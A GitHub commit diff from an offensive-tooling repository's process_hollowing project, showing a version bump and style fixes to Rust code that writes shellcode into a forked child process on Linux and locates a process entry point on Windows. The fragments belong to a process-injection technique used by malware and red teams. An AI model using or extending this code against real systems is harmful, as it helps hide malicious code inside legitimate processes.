Skip to content

Commit dca78fe

Browse files
committed
clippy warning on forked process execution
1 parent bb11389 commit dca78fe

3 files changed

Lines changed: 7 additions & 6 deletions

File tree

process_hollowing/Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ license = "MIT"
77
name = "process_hollowing"
88
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_hollowing"
99
rust-version = "1.63"
10-
version = "1.14.0"
10+
version = "1.15.0"
1111

1212
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
1313

process_hollowing/src/process_hollowing_linux.rs

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -23,9 +23,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
2323

2424
// Write the shellcode over where RIP used to point, one byte at a time
2525
for byte in shellcode {
26-
if let Err(error) =
27-
write(child, point as *mut c_void, *byte as i64)
28-
{
26+
if let Err(error) = write(child, point as *mut c_void, *byte as i64) {
2927
panic!("Unable to write portion of shellcode at {byte} to {target_process}: {error}");
3028
}
3129
point += 1;
@@ -46,7 +44,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
4644
// Execute the target process in place of the currently running one (ie, the child)
4745
let executable = CString::new(target_process).unwrap();
4846
let arguments: &[&CStr; 0] = &[];
49-
execv(&executable, arguments).unwrap();
47+
// Returns an infallible, which can't be unwrapped or used really, but should be stored
48+
let _ = execv(&executable, arguments);
5049
}
5150
Err(err) => panic!("Forking the parent failed: {err}"),
5251
}

process_hollowing/src/process_hollowing_windows.rs

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
5454
POINTER_SIZE_TIMES_SIX,
5555
&mut 0_u32,
5656
)
57-
}.is_err() {
57+
}
58+
.is_err()
59+
{
5860
panic!("Could not get the entry point with NtQueryInformationProcess");
5961
}
6062

0 commit comments

Comments
 (0)